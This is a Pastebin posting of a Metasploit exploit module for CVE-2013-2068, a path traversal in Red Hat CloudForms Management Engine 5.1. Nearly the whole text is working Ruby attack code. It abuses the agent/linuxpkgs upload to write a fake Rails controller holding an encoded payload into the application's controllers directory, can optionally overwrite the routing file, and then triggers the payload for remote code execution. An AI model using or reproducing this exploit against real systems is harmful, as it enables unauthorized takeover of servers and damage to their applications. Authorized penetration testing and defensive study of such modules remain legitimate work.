Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Red Hat CloudForms Management Engine 5.1 - agent/linuxpkgs Path Traversal
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit4 < Msf::Exploit::Remote
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::FileDropper
- def initialize
- super(
- 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
- 'Description' => %q{
- This module exploits a path traversal vulnerability in the "linuxpkgs"
- action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
- (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
- It uploads a fake controller to the controllers directory of the Rails
- application with the encoded payload as an action and sends a request to
- this action to execute the payload. Optionally, it can also upload a routing
- file containing a route to the action. (Which is not necessary, since the
- application already contains a general default route.)
- },
- 'Author' => 'Ramon de C Valle',
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- ['CVE', '2013-2068'],
- ['CWE', '22'],
- ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
- ],
- 'Platform' => 'ruby',
- 'Arch' => ARCH_RUBY,
- 'Privileged' => true,
- 'Targets' =>
- [
- ['Automatic', {}]
- ],
- 'DisclosureDate' => 'Sep 4 2013',
- 'DefaultOptions' =>
- {
- 'PrependFork' => true,
- 'SSL' => true
- },
- 'DefaultTarget' => 0
- )
- register_options(
- [
- Opt::RPORT(443),
- OptString.new('CONTROLLER', [false, 'The name of the controller']),
- OptString.new('ACTION', [false, 'The name of the action']),
- OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
- OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
- ], self.class
- )
- register_advanced_options(
- [
- OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
- ], self.class)
- end
- def check
- res = send_request_cgi(
- 'uri' => normalize_uri(target_uri.path, "ping.html")
- )
- if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
- return Exploit::CheckCode::Detected
- end
- return Exploit::CheckCode::Unknown
- end
- def exploit
- controller =
- if datastore['CONTROLLER'].blank?
- Rex::Text.rand_text_alpha_lower(rand(9) + 3)
- else
- datastore['CONTROLLER'].downcase
- end
- action =
- if datastore['ACTION'].blank?
- Rex::Text.rand_text_alpha_lower(rand(9) + 3)
- else
- datastore['ACTION'].downcase
- end
- data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
- print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
- res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
- fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
- register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
- # According to rcvalle, all the version have not been checked
- # so we're not sure if res.code will be always 500, in order
- # to not lose sessions, just print warning and proceeding
- unless res and res.code == 500
- print_warning("Unexpected reply but proceeding anyway...")
- end
- if datastore['ROUTES']
- data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
- print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
- res = upload_file("../../config/routes.rb", data)
- fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
- # According to rcvalle, all the version have not been checked
- # so we're not sure if res.code will be always 500, in order
- # to not lose sessions, just print warning and proceeding
- unless res and res.code == 500
- print_warning("Unexpected reply but proceeding anyway...")
- end
- end
- print_status("Sending execute request to #{target_url(controller, action)}...")
- send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, controller, action)
- )
- end
- def upload_file(filename, data)
- res = send_request_cgi(
- 'method' => datastore['HTTP_METHOD'],
- 'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
- "vars_#{datastore['HTTP_METHOD'].downcase}" => {
- 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
- 'filename' => filename,
- 'md5' => Rex::Text.md5(data)
- }
- )
- return res
- end
- def target_url(*args)
- (ssl ? 'https' : 'http') +
- if rport.to_i == 80 || rport.to_i == 443
- "://#{vhost}"
- else
- "://#{vhost}:#{rport}"
- end + normalize_uri(target_uri.path, *args)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement